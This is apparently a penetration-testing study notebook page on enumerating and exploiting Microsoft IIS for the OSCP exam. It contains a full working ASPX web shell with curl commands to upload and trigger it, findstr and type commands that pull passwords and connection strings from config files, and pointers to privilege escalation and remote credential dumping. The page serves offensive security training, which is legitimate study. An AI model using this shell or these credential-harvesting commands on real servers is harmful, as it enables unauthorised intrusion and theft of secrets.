Pearson's OSCP Notebook

IIS

Properties1
tagsiis, web-server, windows, web.config, inetpub, enumeration, exploitation

3 min read

IIS — Enumeration & Exploitation

Ctrl+F: web.config · inetpub · applicationHost · appcmd · short name · IIS

Microsoft IIS serves ASP/ASPX on Windows. OSCP priorities: web.config secrets, short name (8.3) path enum, upload → aspx shell, and app pool accounts with SeImpersonate → Potato.

📌 Identify IIS

curl -sI http://TARGET | grep -i server
# Microsoft-IIS/10.0
 
nmap -p 80,443,8080 -sV --script http-server-header,http-iis-webdav-vuln TARGET

Fingerprint: .aspx, /aspnet_client/, IIS default error pages.

📌 External enumeration (no shell)

# Directories & extensions
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -x asp,aspx,config,txt,bak,old -t 40
nikto -h http://TARGET
 
# IIS 8.3 short name disclosure (when enabled)
# Tools: IIS-ShortName-Scanner, shortscan, gobuster sfn mode
shortscan http://TARGET/
gobuster dir -u http://TARGET -w wordlist.txt --suffix asp --wildcard
 
# WebDAV (if enabled)
curl -X OPTIONS http://TARGET -i
nmap -p 80 --script http-iis-webdav-vuln TARGET
# PUT upload of .asp shell if allowed

High-value external paths

PathPurpose
/web.configSometimes readable — connection strings, machineKey
/*.configweb.config, connectionstrings.config backups
/aspnet_client/IIS / ASP.NET fingerprint
/uploads/, /files/Upload + execute File Upload Bypass > ASPX (Windows / IIS)
/iisstart.htmDefault IIS page

📌 Quick reference — paths & commands

ItemPurpose
C:\inetpub\wwwroot\Default web root — sites, uploads, aspx shells
C:\inetpub\wwwroot\web.configApp settings, connection strings, credentials
C:\Windows\System32\inetsrv\config\applicationHost.configAll site bindings, vhosts, physical paths
%windir%\System32\inetsrv\appcmd.exeList sites, apps, pools, bindings from CLI
C:\inetpub\logs\LogFiles\IIS access logs — hidden paths, params
connectionstrings.configSQL / DB creds (often referenced from web.config)
App pool identityOften IIS APPPOOL\SiteName — check Potato Attacks
nxc smb -M iisRemote IIS config / cred hunting (admin creds)

📌 External exploitation

ASPX web shell (after upload or write)

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
  Process p = new Process();
  p.StartInfo.FileName = "cmd.exe";
  p.StartInfo.Arguments = "/c " + Request["cmd"];
  p.StartInfo.UseShellExecute = false;
  p.StartInfo.RedirectStandardOutput = true;
  p.Start();
  Response.Write(p.StandardOutput.ReadToEnd());
%>
curl "http://TARGET/uploads/shell.aspx?cmd=whoami"

Payloads: Msfvenom > ASPX Web Shell (.NET IIS) · Shell

WebDAV PUT (when OPTIONS shows PUT)

curl -T shell.aspx http://TARGET/uploads/shell.aspx

📌 Post-compromise enumeration (Windows shell)

Web roots & configs

dir C:\inetpub\wwwroot\
type C:\inetpub\wwwroot\web.config
type C:\inetpub\wwwroot\connectionstrings.config
type C:\Windows\System32\inetsrv\config\applicationHost.config
findstr /s /i "password connectionString machineKey" C:\inetpub\*.config
findstr /s /i "password" C:\inetpub\wwwroot\*

→ type > 📌 2) Sensitive Files to Read · IIS

appcmd — sites, bindings, vhosts

%windir%\system32\inetsrv\appcmd.exe list site
%windir%\system32\inetsrv\appcmd.exe list site /text:*
%windir%\system32\inetsrv\appcmd.exe list apppool
%windir%\system32\inetsrv\appcmd.exe list vdir

Bindings reveal hostnames missed in external recon (same idea as Nginx server_name).

Logs

dir C:\inetpub\logs\LogFiles\ /s
type C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log | more

Privilege context

whoami
whoami /priv
whoami /groups

If IIS APPPOOL\* with SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege → Potato Attacks before deep enum.

📌 Remote enum — nxc iis module

With admin SMB access:

nxc smb TARGET -u admin -p password -M iis

Dumps IIS-related config paths and credential material (build-dependent). Pair with CrackMapExec - nxc.

📌 Post-compromise exploitation

FindingAction
SQL connection string in web.configConnect MSSQL / mssqlclient — domain user → -windows-auth
machineKey in configViewState / .NET deserialization research
Writable wwwrootDrop .aspx shell
App pool SeImpersonateGodPotato / PrintSpoofer → SYSTEM
Extra site binding in applicationHost.configAdd hostname to hosts file / fuzz internal vhost

📌 Quick cheat sheet

# External
curl -sI http://TARGET | grep -i server
gobuster dir -u http://TARGET -w .../common.txt -x asp,aspx,config
shortscan http://TARGET/
 
# On Windows shell
type C:\inetpub\wwwroot\web.config
%windir%\system32\inetsrv\appcmd.exe list site
whoami /priv
findstr /s /i "connectionString password" C:\inetpub\*.config
 
# Remote (admin)
nxc smb TARGET -u admin -p pass -M iis

Graph View

Backlinks